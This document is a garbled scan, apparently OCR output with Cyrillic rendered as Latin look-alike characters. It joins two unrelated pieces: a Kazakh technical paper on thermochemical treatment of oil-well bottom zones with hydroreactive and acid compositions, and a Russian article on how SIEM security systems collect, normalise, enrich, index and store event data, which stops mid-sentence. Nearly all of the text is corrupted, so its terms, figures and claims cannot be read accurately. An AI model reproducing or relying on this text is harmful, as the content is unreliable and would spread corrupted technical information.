CYMbIKTbIFbIHAH OKLIay/faHFaH 3aT TypiHAeri rmapopeakTusTi Kypamabl (TPK) eTkisyai kamTuapl.
MApPOPeakTUBTI Kypam YHFbIMA CYMbIKTbIFbIHbIH, CYybIMEH reTeporeHai XMMUA/bIK peaKkLnsasa Tycy,
HOTMMECIHAE Kby KoHe ras Topi3ai eHimaep OoniHiN, rMapopeakTUBTI Kypamabl YHFbIMa
CYMbIKTbIFBIMEH  KaHacy apKblibl  XUMWUAMbIK — peakumsHbl  Bactay  KacuetTepiHe  wue
6onagpl.Mpoueccte aNtOMUHUIA XNOPUAIHIH KeM AereHae TYMipWikTepi »KaHe aNtoMUHUA XN0PUAI|
YWiH epiTKiw 60nbin TabblIMaNTbIH OPraHMKaablK MyHal LWeriHainepi VywiH epiTkiw 6ap
rMAOPOPEaKTMBTI KOMNO3MUMA KoNdaHblnadbl. byn aaicTi KongaHfaH4a peakuma YHFbIMaHbIH,
nepdopauns aimarbiHbIH, iWiHAE Kypeai. byn aK30TepMUANbIK peakumsa HaTuxeciHae beniHeTiH
bINYAbIH XOFaNyblHA biKkNan eTeq,.

YcbiHbINFAH aaicte [2], eHimAi KabaTTblH, TEPMOXUMUANLIK OHJAeyi Ta3apTy almarbliHa
YKAHFbILW-TOTbIKTbIPFbILW KYPam/bl ainzayabl *KaHe XaHy MHULMATOPbIH eHAey aiMarbiHa ibepyai
KaMTWabl, ON CinTini meTanabiH HopruapuiiHe »KoHe MeTaHOAFa Hemece AM3TUA 3dupiHe
HerisgenreH komno3snuma 5-40 macc.% menwepinge nponuakapbopaH 5- 25 macc.% menwepiHae
CiNTi, HemMece KaTTbl M3onponuakapbopaHHbiH, menwepi 5- 40 mac.% 6onbin Tabbliagbl. MaHy
MHUUMATOPbLI TbIFbI3JanfaH KOHTEMHepai MyHaMKacinwinikteri Oypfblaay  ypLibiFbl  apKbibl
COPanTbl *KaHE KOMMNPECCOP/bIK Kybblipaap KONOHHACbIHA TYCipy apKbl/bl KETKi3ineai, cogaH Kerin
WHYPAbl TOPNeAacbiH Xapy apKblabl KOHTEMHep oWblaaabl. LLHyp Topneaachbl KOHTEMHEepPAiH,
OVKiN y3bIHABIFbI HOMbIHLIA OPHATbINAAbI.
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CoHbIMeH KaTap, KabaTTblH, TYN aiMafblH bICTbIK KbILLUKbIIMEH (TEPMOKbIWKbIN) eHAeY 3Aici
KongaHbinasl [3]. byn spic dopmanbaerna epitiHaiciHAe Tacbimangayllbl CYMbIKTbIK peTiHAe
KesdeceTiH TYMipWiKTenreH Hemece yHTaK MarHuMi KabatTblH Tyn almafbiHabenek anlaayaa,
COHAAM-aK OHbIMEH JPEKeTTECETIH XUMWAbIK peareHT PeTiHAe aMMOHWI XN0PUAIHIH, Cy/bl
epiTiHAiCciH Benek MHbeKUMANayaaH Typabl.

Byn xafaanaa KyOblpra eHrisinreH epitiHainep apacbiHAafbl peakumagaH 6eniHeTiH *Kblayapl
}OFanTyapl HonabipMmay ViLiH 0fapdbl €Hri3y apacbiHAa [a, COHFbl KOMMOHEHTTI andayaaH KeniH
ne bydbepnik cyMbIKTbIK aigananbl. by KabaTTbiH TYN alMasbiHAa TEPMOXUMUAILIK 9CEPAiH Nanaa
601ybIH KaMTamachI3 eTed,.

EpiTiHAiHI *KOFapbl TemnepaTtypara AeMiH andblH ana Kbi3ablpy apKblibl YHFbI TYDiHIH, TY3iny
aMafblH 9/1CI3 KbllWKbINJAapMEH eHAeyaAiH Tafbl Bip aaici 6enrini [4]. byn xafaanga TepPMUABIK
9PEKET Tay KbIHbICbIHAAFLI XUMUALIK peareHTTepmeH 6ipikTipineai. KblWKblA angbliH ana
Kbl3AblpblAfaH cyfa Hemece bOyfa eHrizineni. KbllWKblAabl cyfa Hemece Oyfa eHrisreHHeH KemiH
afNblHfaH TEMMNepaTypa MaKCaTKa XKeTy YLUiH KeTKiNIKCi3 BoAbIM, XYMbIC Ken eHOEKTI KaXKeT eTeq,.
KypambiHaa GTOp KbIWKbIbI, TY3 KbILWKbIIbl XaHe cy 6ap yHFbl TyOiHIH Ty3iny alimarblH eHaeyre
apHaNfaH KblWKbLA epiTiHaici ae 6enrini [5]. Byn epiTiHAi ic ky3iHAe KapboHaTTbl *bIHbICTAPAbI
epiTnenai, enTKeHi GTOp KblIWKbIAbIHBIH KapboHATTapMeH apeKeTTecyi peakuuara Keaepri
KeNnTipeTiH »KaHe YHFbIMa KabblfblH KaTTbl KOPPO3MAFa YLIbIPaTaTblH Hallap epuTiH daooput
WblFapaabl.

HelTpanaay TUMIMAINIrH apTTbipy aHE KblWKbIN epiTiHAICIHIH, eHy TepeHairiH *KofapblnaTy
YWiH KbIWKbINAGI alaay anabiHAa rmMapodo6Tbl aIMyNbCUMAHbI aldaybiIMeH epeklieneHeTiH
KbIWKbINABIK KaHe rmMapodobTbl 3MYyAbCUAHbBIH epiTiHAiNepiH anaaydaH TypaTblH MyHaM
KabaTblHbIH YHFbl aliMafblH KbllWKbIIMEH eHAey o4ici Taxipmnbeae ne kKonaaHbinapl [6]. byn
WeLiMHIH, KeMWiairi — yHFbl TYBiHiH Ty3iny aliMmarbiH eHaeyaiH, TOMeH TUIMAiNIT, COHbIMEH KaTap
KabaT TepeHairiHe a3 faHa eHyi bonbin Tabblnaapl.

Ty3 KbIWKbINbIH YHFbIMA aliMafblHa aiaay apKblabl YHFbIManapasl 6HAEY YWiH KOAAaHy 4iCi
benrini [7]. [lereHMeH, Ty3 KbllWKblbl TEPPUTEHAK XbIHbICTAPAbl 6Te Hallap epiTeai, COHbIMeH
KaTap YHfbiManapapiH Tybi almafblH eHAey Ke3iHae KabAblKTbl KaTTbl TOTTaHAblpadbl. byn
KOMNO3MUMAHbBIH, Tafbl Oip KemwWiniri - yHFbIMaHblH TyOiH KanbINTacTblpy alMafblH Tasanay
canacblHbIH TEMEHAITI.

Hymbicta [8] yHFbIManapablH Ty6i alimarblH Taszanayfa apHaafaH KOMMNO3ULMA YCbIHbIIFAH,
OHbIH Kypamzaac 6enikTepi Ty3 KbllKblbl MEH HATPUI TMAPOKCUAIHEH TYPaabl. By KOMMOHEHTTEP
6ip-6ipiMeH apeKeTTecKeH Ke3/ae 3K30TepMUANbIK peakuns nanaa 6onadbl, HOTUXKECIHAE VKEH
Mesilepae Kblny beniHeai. bipak KypambiHAa@ TY3 KbILWKbIIbIHbIH, ©0AYbl YHFbIMA KabablfbIHbIH,
KOPPO3MACLIH TyAblpabl KaHe peakuua KesiHae 6eniHeTiH Xbly eTe Xofapbl emec. YHfbiMa
anMarblH eHaeyaiH Keneci benrini agici- TYRipWikTenreH MarHMii MeH Ty3 KblLLUKbI/IbIH aiaay. byn
94iC Ty3ydi TepeHipeKk KbI3Ablpy XKaHe npouecTi xepengety ecebiHeH eHAey NPOLECIHIH,
TUIMAINITIH apTTbipy YLWiH MarHMM MeH KbllWKbiAabl argay bip mesringe, an angay benek
XyprisineTiHairimeH epekwenereqi. lereHmer, Oy welwim yHFbl TYOiHIH Ty3iny almarbiH eHaeyae,
CoHAam-akK KabaT TepeHairiHe eHyae TMimainiri TomeH. byn »karaanaa yHFbiIMaHbiH Ty6i almafbiHaa
na weriHainep nanaa 6onybl MymkiH[10].

MyHal-ra3 yHFbIMacbliHbIH, TYNTIK alMmafblH eHAey aAici Ae KondaHbliadbl, 0N KabaTTbiH,
TYNTIK YHfbIMa alimarblHa ra3 Topi3di X10p/bl cyTeriH anaayaaH Typadbl. byn agic eHaeneTiH
aNMaKTbIH, OTKI3MWTIr MeH KeneMiH apTTblpy YLWIiH YHFbIMaZAa COHFbICbIH XN10P MeH CcyTeri
KocnacbiMeH TOATbIPY apKblibl YHFbIMa CafaCblHAAfFbl KaAPbIAbIC KafdalblHAH aCMalTbiH
KbICbIMMEH XI0PCYTEK anybiMeH epekleneHeai. byn aaicTiH, KeMwWiniri- TemeH TUIMAINIK KaHe
TEXHONOTUANBIK KMbIHAIKTAp 60/1biN Tabblnaab!.

Hymblic [11] yHFbl TYDiHIH aliMafFblH bICTbIK CYy Hemece Oy alziay apKblibl OHAEYAIH, epeKLle
a/iciH ycbiHaapl. bactankbiga areHtrep 80 °C Temnepatypafa geliH Kpisagsl. CogaH KeliH con
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yHFbIMaFa angbiH ana 120 °C geitin KpisabipbinFan 8-15% HCl epitiHaici atganaasl. bipas yaksiT
apekeTci3 bonfaHHaH KeliH YHFbIMa NarganaHyra bepineai.

HaTuxkenepi. YCbIHbIbIN OTbIPFAH SAICTIH MaKcaTbl — YHFbIMaHbIH, TYNTIK aiMafblH eHaey
KesiHae Hallap epuTiH WeriHAinepaiH, *KblnJdaMablFbl MEeH KeNeMiH YAFalTy apKblibl YHFbIMA
TYOiHIH Ty3iny alMMmarblHa *Kblay TaCbIMaNAaFbILLTbl €Hri3Y apKblabl eHAEYAIH TUIMAINITIH apTTbipy,
COHAaM-aK YHFbIMaHbIH TYOiHAer TepeHaikTe Ty3iny MYMKIHAIMH TyFbl3y.

Byn MakcaTKa XKeTy YLWiH anabiMeH HaTpuin BUXPOMaTbIHbIH, (HEMece Kannii BUXPOMaTbIHbIH)
CyNbl epiTiHAiciH KabaTTblH, YHFbIMa alMafblHa Tas3apTy epiTiHAICIH TepeHipek eHrisy yuliH
TOTbIKTbIPFbILL PETiHAE YHFbIMA OKMaHbiHA aldan, codaH KeWiH CKMnuaapdblH, ecenTenreH
MeJIllepiH YHFbIMA OKMNaHblHAa anaafaHaa, SK30TEPMUA/bLIK peakums nanga 6onagbl. OcbligaH
KeniH, Kocna ofapbl KbicbiMAbl ra3beH yHfbiMa TYyOiHIH, alMafbiHaH KabaTTblH TepeHairiHe
bIFbICTbIPbILAAAbI, HOTUMKECIHAE BOMIHETIH Xbl/ly KIHE HaAKCbl ePUTIH peakuma eHimi KabaTt TyOiHiH,
VHFbl aliMarblHbIH TepeHairiHe Tyceai.

Ckunuaap HerisiHeH TepneHai KemipcyTtektepaid CioH1e Kypaeni Kocnachl, e3iHe ToH Kaparai
nici 6ap Menaip, TYCCi3, VLIKbIW CYMbIKTbIK 60nbin Tabblnagbl. CKunuagap nonapabl emec
OpraHuKanblK epiTkiwTepae, 3TaHONAA, aLeTOHAA KaKCbl epuai KaHe cyaa epimenai. Tun=153—
180 °C, d?%,=0,855-0,865, n?°3=1,460-1,478.

KypamblHAafbl TeprneHai KemipCcyTeKTep CUSAKTbl CKMNuaap eTe OenceHAi »KaHe ayaaa,
acipece KapblKTa XMMUANbIK TOTbIKTbIPFbILTapMeH (KoHueHTpAi HNO3, xpomaHrnapua, kaHe T.6.)
OHaM ToTbIFaapbl. CKUNWAAP *KaHY apKblabl TOTbIFAAbI.

Kypamaac 6eniktepi yHFbIMa OKNaHbIHbIH aliMafblHa OCbl PpeTneH alZaraH Kesae, «Kofapbl
KbICbIM MEH ¥blNly KO3i» PeTiHAe apeKeT eTeTiH Ken Me/illepae *blly MeH rasaapabiH 6eniHyimeH
TEPMOXMMUANBIK peakuma xypeai. OcblifaH 6ailnaHbICTbl OONIHETIH ras eHaeyre apHanfaH
KOMMNOHEHTTEP/iH TOTbIFY PEaKUMACbIHbIH 9CEepiHeH KbI3AblpblAfaH KocnaHbl  KabaTTbiH,
TEepeHiKTepiHe eHri3ei, an a/1Ci3 XapblablCTapablH, 3CePiHEH peakuma KabaTTbiH, TYOi aMaFbiHbIH,
VIIKEeH TepeHairii KamTtnabl. OcbligaH KeniH TemnepaTypa 500-600°C-TaH Kofapbl KeTepinesi, byn
YHFbIMaHbIH, TyN anMMafblHAA MyHaMAblH, ayblp KOMMOHEHTTEPIHIH epyiHe XaHe Ccon apKpblabl
VHFbIMaHbIH TYN alMafblHbIH ©TKI3riWTIriHiH *XOfapbliaybliHa aKkenea;.

HyMbIC afKTanfaHHaH KeniH yHfbima 1,0 — 2,0 caraTka *Kabblnaapl. byn yakblT MyHanabiH
ayblp Kypamaac 6enikTepiH YHfbl aMafblHbIH KEYEKTEPIHAE KaHe KabaT TepeHairiHae epiTy KaHe
eHAeNreH epiTiHaiHi KabaTKa TepeHipek eHridy yuwiH keTkinikti. OcblgaH KeniH yHFbIMa
HipkanbiNTbl NanaanaHysa Oepineni. AMTa KeTy KepekK, YHFbIManapApl icKe KOCKaHHaH KeliH
CaHplnaynapaarbl Kes KenreH KanablKTapAbl, COHbIH illiHAe ca3dbl-KyMabl OenliekTtep MeH
bypfblnay epiTiHAICIHIH, KanablKTapbiH Tasanayda TePMOXMMUAbLIK peakuma HaTUKeciHae
beniHreH ra3 KoHe TaszapTy epiTiHaiciH KabaTka TepeH eHrisy 6acTbl pesn aTkapagpbl.
YHfbIManapablH, Tyn almarblHAAFbl KeyeKkTepaeri ayblp MyHall KOMMOHEHTTEPiHiH, 6anKblfaH
KanOblKTapbl KeyekTi KeHICTiKTe inyni KyniHae Kanagpl. byn »Kafoalpa KabaTTaH Kofapbl
KbICbIMMEH YHfbIMafa KaWTbiN KeneTiH ra3 e3iHiH, »KOfapbl KblJAaMAbIFbIHbIH, apKacbiHaa, 63
YKOJbIH Ke3 KereH KeaeprinepaeH, CoHblH, iliHAe OCbl inMeni KanablKkTapAaH Te3 TasapTtadbl. byn
VHFbIAAH MYHalW eHaipyai yafanTa OTbipbIn, YHFbI TYDiHIH KabaT alMasbiHbIH, ©TKI3TiWTIriHIH, 0aaH
9pi apTyblHa bIKNan etes,.

KopbITbIHAbI

- TYTKbIP/IbIFbl }KOFapbl MyHal KEH OpbIHAAPbIHAA KYMbIC iICTENTIH 6HAIPY YHFbIMANAPbIHbIH,
TYNTIK alMaFblH TEPMOXUMUANBIK ©HAEY YLLIH }KaHa Kypam a3ipaeHa,;

- TYTKbIP/bIFbl }KOFAapbl MyHal KEH OpblHAAPbIHAA OHAIPY YHFbIMAAAPbIHbIH, TYATIK aMMafbiH
TEPMOXUMUANBIK BH ALY 3AiCi YCbIHbIAAbI;

- YCbIHbI/IFaH 84iCTi KOAAaHa OTbIpbIN, YHFbIMA TYOi aiMarbiHbIH, OTKI3FiLUTIFiH TO/bIK KaaMbIHa

KenTipyre Ko eTKisyre 6onaabl;
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- PTYPAi KEH OpblHAAPbIHAAFbI MyHaMNapabiH GU3MKaNbIK KoHEe XMMUANbIK KacneTTepiH

ecKepe  OTbIpbiM,  KOMMO3ULUMANBIK — KYPaMAacTapAblH — KeH  AuanasoHgasbl  e3repyi
9KCNEepUMEeHTaNAbl TYPAE MYMKIH 6onaabl;

10.
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[TPVHUWMTT PABOTbI SIEM CUCTEM

KepumbaeBa BeHepa
CEHbOP-NEeKTop YHMBepcuTeTa ATY
Ynnanakosa [AuHapa
CEHbOP-NEeKTop YHMBepcuTeTa ATY
AnnnbbekoBa AinxaH
CEHbOP-N1EeKTOP YHMBepcuTeTa ATY
Teneywosa AHYp
CEHbOP-NEeKTOP YHMBepcuTeTa ATY

MpuHUMN paboTbl SIEM cuctem — 3710, No 6onblen YacTu, LMKANYECKMI Habop AEUCTBUNA.
Cuctema cobumpaeT MHGOPMaLMIO U3 BCEBO3MOMKHbIX MCTOYHMKOB, NOABEPraeT aHaM3y AaHHblE B
peXkMme peasibHoro BpeMeHu, Npu HagobHOCTM BOCMPUHUMAET NPEBEHTMBHbIE MepPbI, OpraHM3yeT
6a3bl AaHHbIX, NOABEPraeT aHaAN3y BO34ENCTBMA NOAb30BaTeNEeN NO UTOram NpeaWwecTByOWEero
NPOrHo3a, AenaeT NpeaynpexaeHNA 1 ONOBELLEHNA O KPUTUYHBIX CODLITUAX.

OTaenbHbIMM  KOMMOHEHTaMKW obecneynBaeTca GYyHKUMOHMPOBaAHME cuctembl SIEM.
AreHTbl HecyT OTBETCTBEHHOCTb 3a CHop MHPOpmaLMM M3 UCTOYHWMKOB. CepBepbl-COOPLUMKM
CYMMMPYIOT MHOOPMALMIO M3 UCTOYHUKOB, cepBep 6asbl AaHHbIX XpaHWUT MHGOPMauUmto, cepsep
KOppenaumm oTeeYaeT 3a MOHUTOPUHT 1 aHanM3 MHGOPMaLUN.
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PucyHok 1 — MpuHumn paboTbl SIEM cuctem

[NaBHbIMM MUCTOYHMKAMM OnA cuctembl SIEM cUMTalOTCA pasiMyHble KOPNopaTMBHblE
CUCTEMBbI:

- DLP-cuctembl. OHM nepenatoT JaHHble 00 yxo4e HecaHKUMOHWMPOBAHHOM
nHGOPMaLMM U3 KOPNOPATUBHOM CETU M O HAPYLUEHUN NPUBUAETUN;

- CUCTEMbI KOHTPOAA A0CTyna M ayTeHTUdbuKaumn. MNpeaHasHayeH ANA KOHTPOAS
[ocTyna K MHGopMaLMOHHOMY NOTOKY;

- pecypcbl IDS / IPS. OHM nepenatoT AaHHble O CETEeBbIX aTakax, M3MEHEHUN npas
A0CTyNa;

- ceteBoe obopyaoBaHMe. YUMTbIBAET CETeBOM TpaduK, KOHTPOMPYET A0CTyn
noab3oBaTenen K MHPOPMALIMOHHbBIM MOTOKAM;

- MexKceTeBble 3KpaHbl. OHW nNepeaatoT AaHHble 006 OMacHbIX MPOUCLLECTBUAX,
BpeagoHocHom [10;
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—  KypHanbl cobbITUA cepBepa U TOHKOro KameHTa. KoHTpoab cobatoaeHns npas
[0CTyna U NOANTUKKU MHGOPMaALIMOHHON Be3onacHoCTH;

—  aHTMBMPYCHble Naatdopmbl. YBeAOMAATL 00 yrpo3ax B BUAE BPeAOHOCHOMO KoAa,
M3MEHEHUA KOHPUTypaUMA WUAW MOAUTUK KOHOMAEHUManbHOCTM, coobuwatb o pabote 6as wu
nporpammHoro obecrnedeHums;

—  cuctembl Beb-dpunbTpaumn. ObobleHne M nepegadya AaHHbIX O TOM, Kakue
3anpelleHHble UM BPeAOHOCHbIe CailTbl B MHTepHETe nocellatoT NoAb30BaTeu.

o Mepe TOro Kak AaHHble CTaHOBUANCH BCe Bosiee KOHPUAEHLUMAbHBIMM, @ TEXHONOTUM
— bonee molHbIMK, cucTembl SIEM (SIM + SEM) ctanmn cnocobHbl NpuHMMaTh, 06pabaTtbiBaTh U
XpaHUTb Oosblive obbembl gaHHbiX. WUT-pewenns SIEM cnegytollero MNOKOAEHUA MOTYT
MCMOb30BaTb OMOBELLEHNA Ha OCHOBE CUrHATyp A8 BbIABAEHMA Yrpo3 B COOPaHHbIX AaHHbIX.
OaHako TakMm obpasom MOryT ObiTb UAEHTUPULIMPOBAHLI TONBKO Te OMOBELLEHWSA, KOTopble
BbIABMAM MHAMKATOPbI KomnpomeTaumn (I0C) onpeaeneHHon yrposbl [8].

Y106bI ObINO ACHO, €CAM TUM aTaKK, KOTOPOW NOABEPraeTCs CUCTEMA, HE 3aHECEH B KaTasor
|OC, SIEM nepBOro NnoKoaeHMA He CMOXKET ero 0b6HapyKnTb. OCHOBHbIM HEJOCTAaTKOM 3TUX CUCTEM
HblNa 04eHb OrpaHMYeHHaa CNoCobHOCTL 0OOHAPYKMBaATb HEM3BECTHbIE KMOEPYrPO3bl.

MpuBeay NPakTUYeCKMit NPUMEpP: MOXKHO OblI0 MCNOAL30BaTb TAKOE NPaBMUIO: «BblAaBaTb
npeaynpexaeHne, ecanm noab3oBaTenb BBoOAMT 10 HenpaBWAbHbIX Maponen noapaa».
TeopeTnyecKkmn 3To MOXKHO MCNONb30BaTb /1A OOHAPYKEHUS aTak meToaoM noabopa napons. Ho
4TO, €C/IN 3710yMbILLNEHHWUK NONPoH0oBan ToNbKo 9 Nnaponei noapan? Mamyto, ecnm Tpesora bbina
nocTaBneHa 1A o4eHb 3abbIBYMBOro Nob3oBaTena?

SIEM-cuctema obpabaTtbiBaeT U NoABEPraeT aHanM3y NpuobpeTeHHble AaHHble Ha Hase
MaTeEMATUYECKMX pPacyeToB M COMOCTaBAEHMA CTAaTUCTMYECKMX AaHHbIX. B Knaccumueckux
3aKAOYEHMAX KPUTEPMM aHaNM3a NoYalle BCEro 3a4atoTca BPYYHYHD. K npumepy, Npu HacTpolike
bopmumpyeTca cueHapuii, coobpaszHO KOTOPOMY Pa3oBbli KOHOAMKT He AaeT onacHoCTH, a
BTOPWYHbIM NOA, OAHOM YY4ETHOM 3aNMCbi0 3HAUYMT MNOMbITKY OTbICKATb KOA A0CTyNa.

Cuctema SIEM nossonseT obHapyKnsaTb:

—  MHAMBUAYANbHblE UHPEKLMU U BUPYCHbIE 3NUAEMUM;

—  BHELWHWe N BHYTPEeHHMe KnbepaTaku;

—  MONbITKM NOAYYUTb HECAHKLMOHMPOBAHHbIN AOCTYN K 3aWMLLEHHBIM
NHOOPMALUMOHHbBIM NOTOKaM;

—  OWMWBKM 1 HapyLLleHWA B paboTe MHPOPMALMOHHBIX CUCTEM;

—  HapylleHMe KOHCTPYKLUMM 3alWMTHbIX CPeaCTB;

— cnabble mecTa 3aWnThbI;

—  daKTbl KOPNOPATMBHOIO MOLLIEHHMYECTBA;

— ueneHanpas/ieHHasa Kpaxa.

CMeHa naHawadTa yrpo3 B CTOPOHY C/AOMHbIX MHOFO BEKTOPHbIX aTak WM TaK e
BO3PaCTaloLLas C/NOKHOCTb KOMMAEKCa CPeACTB 3allMTbl NPMBOAAT K  ObICTpOMy pocCTy
nonynapHoctn cuctem SIEM Bo Bcem mupe. TaKuMe pelleHns MO3BOAAKOT OTCAEXMBaATb
MHPOPMALMOHHbBIE CUCTEMbI M B TOM YMC/IE aHANM3MPOBATb COOLITUA 6e30MacHOCTN B peaslbHOM
BPEMEHM, HanpuMmep, NPOMCXodsLiMe Ha CEeTeBbIX YCTPOMCTBAX, paboymx CTaHUMAX, CpeacTBax
3alUNTbl MHPOPMALMKM N ApYTX anemeHTax UT-nHbpacTpyKTypbl KoMnaHuK. CobpaHHble AaHHble
M NpoaHanM3MpoBaHHble WMHbOPMaLMM NOMOratoT onpeaenaTb WMHUMAEHTbl MAW aHOMaNUM
MHPOPMaLMOHHOM 6e30NacHOCTM, KOTOPble OCTaBa/MCb HEBUAMMbIMKM B TOM u4ucae ANS
CNeunanm3npoBaHHbIX CPeACTB 3alMTbl. MPaKTUYECKM Kaxapl AeHb B HOBOCTAX MybOAMKytOTCA
daKTbl 06 ycneLHbIX aTakax Ha OpraHmn3aLmm, B KOTOPbIX, HEe A0/1XKHO ObITb Npobaem ¢ broaKeTamm
NB 1 co WTAaTOM rPamoTHbIX CNeLManncToB. B cBolo ovepenp, POCT MHPOPMALMOHHBIX PUCKOB
NPMBOAMT K HeobXxoaAMMOCTM Bosblle aKTUBHOCTU B 061aCTU MHOOPMALIMOHHOM He30MacHOCTH,
aBTOMATM3NPOBAHHOIO W TLLATEIbHOrO aHann3a cobbITUIM, TaK e HeobXoAMMOCTN NpeaBUAETb
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aTaKy, NPOrHO3MpOBaTb €e pa3BUTUE WAW, MO KpalHeWh Mepe, NOKaAM30BaTb Npobaemy c
MeHbwmm notepamm. CospemeHHble SIEM-cncTtembl MOTYyT MHOMOe M3 3TOro cAenaThb.

PasnunyHble npegnoxeHunsa SIEM-pelueHmin Nno-pa3HOMY NOAXOAAT K MHTENNEKTYalbHOMY
aHaNM3y AaHHbIX M YNPaBAEHMIO COOBbITUAMM; OAHAKO BCE OHM MMEIOT OAMHAKOBbIM Npouecc cbopa
n 06paboTKM AaHHbIX. [TOHMMaHMe 3TOro NPoLEecca BaXKHO He TOJIbKO Npu HacTpolke SIEM ans
006paboTKM AaHHbIX, HO M NpuU ycTpaHeHUM Henonaaok SIEM, nockonbKy OH BO3BpallaeT
pe3ynbTaTbl M3 COOpPaAHHbLIX AAHHbLIX, KOTOPble He COOTBETCTBYHOT OXMAAHMAM aHANUTUKA.
BO3MOKHbIE OLMOKM MOTYT BO3HMKHYTb Ha H0OOM 3Tane }KMU3HEeHHOro LMKAa 06paboTKM AaHHbIX
SIEM-pewieHuna. A cuntato, 4To Nerye BCEro UCMpPaBUTb PACNpPOCTPAHEHHbIE OWNOKM Ha PaHHUX
3Tanax KU3HEHHOro UMKAa Mcnonb3oBaHMA SIEM, 4TO 03Ha4vyaeT KOPPEKTMPOBKY crnocoba
OTNPAaBKM AAHHbIX UM M3MeHeHWe cnocoba aHanm3a AaHHbIX pelleHmnem SIEM, a He NonbITKK
00ONTbCA XOPOLWMX Pe3ynbTaToB C NAOXMMM AaHHbIMKU. TTOMHWUTE, YTO A CKa3an B Havane 3TOM
rNaBbl: MyCOP Ha BXOAE, MyCOp Ha BbIXOAE.

[aBainTe paccMOTPUMM CTaHAAPTHbLIM pabounint npouecc ob6paboTkM AaHHbIX SIEM-
pPeLleHns:

AHann3 aaHHbIX. Koraa peweHune SIEM HauMHaeT nmoayyaTb AaHHble, OHO CHa4vana
NbiTaeTca onpefennts GopmaT AaHHbix. OnpeaeneHne dopmaTta No3BoaseT peweHuto SIEM
aHaNM3MpoBaTb NMOMA [AAHHbIX M CBA3bIBaTb CBA3AHHbIE 3HAYEHMWA, YTO O3HaYaeT, YTo nojae ANd
YMCNOBOM CyMMbl OyAeT MMeTb CBA3aHHOE YMCNOBOe 3HayeHue. PopmaT, MCMoNb3yembli
OTNpaBuUTENEM [aHHbIX, DyAeT OTNMYaTbCA B 3aBMCMMOCTM OT TUMA CUCTEMbl WM AOCTYMHbIX
NapameTpOoB SKCMNOPTa AaHHbIX, YTO MOXET Bbl3BaTb Npobaembl Ans peweHua SIEM, ecan oHo He
MOKET Onpeae/InNTb, B KaKyr CTPYKTYPY IKCMOPTUPYIOTCA AaHHbIE.

PeweHne SIEM  BKIOYAeT aHaAM3aToOp  KYPHANOB, KOTOPbIM  npeobpasyeT
MMMNOPTMPOBAHHbIE [aHHble B CTPYKTYPUPOBAHHbIN GOPMAT AaHHbIX, KOTOPbIN MOXeT MOHATb
MHCTPYMeHT. MHorue pelweruna SIEM obecneymBatoT aHanm3 0bLMX MCTOYHMKOB AAHHbIX; OAHAKO
MHOrAa HeobXxoA4MMO HAaCTPOUTb CUMHTAKCMYECKUIA aHaANU3, YTobbl AaHHble Dbl Npeobpa3oBaHbI
B HaA/1eXalllyto CTPYKTYpPY, C KOTOPOM MOXKeT paboTaTtb peweHune SIEM.

Hopmanusauma w KaTeropmsaums AOaHHbIX: NpPOLEecc Hopmanu3aumm obbeauHAeT
cobbITMA, CoAepIKallme Pa3InNyHble 31eMEHTbl AaHHbIX, B COT1AaCOBaHHbIM GOpPMaT, coAepKalLmi
TONbKO 0b6UIMe U nosie3Hble aTpndyTbl COBLITUIA. ATPMOYTbI COOLITMA BKAKOYAIOT BPEMS, CETEBOM
afpec, BbINONHEHHYyO onepaunto M T. [. lpouecc KaTeropusaumm BKAOYaeT AobaBneHune
KOHTeKCTa K cobbitnam. Cloga mMoryT BXOAWUTb CUMCTEMHblE CODbITMA, AaHHble ayTEHTUOMKaALMK,
NIOKa/ibHble onepaunn 1 1. 4., Hanpumep, peweHne SIEM moxeT rpynnmpoBsaTb AaHHble O XOCTaX,
[aHHble O CeTEeBbIX YCTPOMCTBAX M CBEAEHMNA U3 MHCTPYMEHTOB HE30MacCHOCTM B Pa3Hble CErMeHTbI
B 3aBMCMMOCTM OT TOTO, KaK AaHHble ByayT aHaAM3MpoBaTbCA. ITOT NPOLLECC COPTUPOBKM MMeeT
pelatolLee 3HaYeHNe Ana npeobpa3oBaHUA AaHHbIX B MOAE3HY MHGOPMaLMIO.

Ob6orauleHne aaHHbIX. PeweHne SIEM npumeHseT AOMNOAHUTENbHYIO WMHPOPMALMUIO,
4yTObObI CAeNaTb AaHHble Honee nonesHbIMU. Mprmepbl 0boralleHMA AaHHbIX BKAKOYAIOT NPUBA3KY
[AHHbIX K N13BECTHOMY BPeAOHOCHOMY UCTOYHUKY, OTMETKY HeOBbIYHOro BpeMEHM MCNONb30BaHMA
OAHHbIX NN KOPPEKTUPOBKY HOBbIX 0O6pabaTbiBaeMbiX AaHHbIX Ha OCHOBe Nt06Oro Koan4yecTsa
baKTopOB, C KOTOPLIMM PaHee CTasKkMBaNOCh pelueHne SIEM.

MHAeKcMpoBaHMe AaHHbIX: A OTKPbIA 3Ty rNaBy, O6bACHMB, KaK OpraHM3aLmMmn reHepmpyoT
TOHHbI AaHHbIX. YTObOblI peweHne SIEM npeanarano MHTENNEKTyaNibHbIM aHaNM3 AaHHbIX, emy
Hy*KeH cnocob pa3paboTkm MHAeKca obuwmx aTpmbyToB ANA BCEX TOHH CODPaAHHbLIX AaHHbIX.
NHAaeKe aaHHbIX no3sonseT SIEM pelueHue ana NOUCKA KAKOYEBbIX TEPMUHOB M BbicTporo cbopa
CBA3AHHbIX PEe3y/IbTAaTOB BMECTO CKaHMPOBaHWA BCeX HeobpaboTaHHbIX AaHHbIX. 9Ta BO3SMOMXKHOCTb
KPUTUYECKM BaXKHa Ana peweHua SIEM, 4Tobbl MMeTb BO3MOMXKHOCTb MCKaTb BELLM B pPa3yMHble
Cpoku. Ecnn peweHne SIEM TpebyeT MHOro BpemMeHW ANA aHanAM3a AaHHbIX, BEPOATHO, OHO

HenpaBMAbHO MHAEKCMPYET AaHHbIE UAW He NpeaiaraeT MHAeKCcaUmLo.
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XpaHeHue AaHHbIX: Moc/ie TOro, Kak AaHHble NPOMHAEKCMPOBAHbI, OHW COXPAHAOTCA,
4yTobbl peweHne SIEM morno noayydnTtb K HUM AocTyn. TpaaMUMOHHOE XPaHWUAWLLE O3Ha4Yano
XpaHeHue Bcex cobbITUI B LEHTPA/SIM30BAHHOM CUCTEME B TeyeHue onpeaeneHHoro nepuosa
BPEMEHM U apXMBMPOBAHWME AAHHbIX, NPOLEALIMNX 3TOT KOHKPETHbIM MOMEHT BpeMmeHun. CeroaHs
opraHu3aumm UCnosb3ytoT TEXHONOTMIO 03€epa AaHHbIX, Takyto Kak Amazon Simple Storage Service
(Amazon S3), 4Tobbl obecneynTb 0bBNAYHOE XpPaHEHWe [aHHbIX U bonee rMbKoe pesepBHOE
